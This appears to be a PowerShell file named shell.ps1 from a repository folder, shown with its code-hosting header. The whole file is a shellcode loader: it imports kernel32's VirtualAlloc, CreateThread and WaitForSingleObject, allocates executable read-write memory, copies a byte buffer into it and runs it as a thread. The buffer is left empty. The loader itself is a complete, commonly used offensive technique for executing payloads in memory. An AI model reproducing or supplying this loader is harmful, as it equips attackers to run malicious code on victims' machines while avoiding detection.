aoc24/8/shell.ps1
2024-12-11 20:50:29 +01:00

19 lines
821 B
PowerShell

[Byte[]] $buf =
Add-Type @"
public class Win
{
[DllImport("kernel32")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
[DllImport("kernel32", CharSet=CharSet.Ansi)]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
}
"@
[IntPtr]$addr = [Win]::VirtualAlloc(0, $buf.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $buf.Length)
$thandle = [Win]::CreateThread(0, 0, $addr, 0, 0, 0)
[Win]::WaitForSingleObject($thandle, [uint32]"0xFFFFFFFF")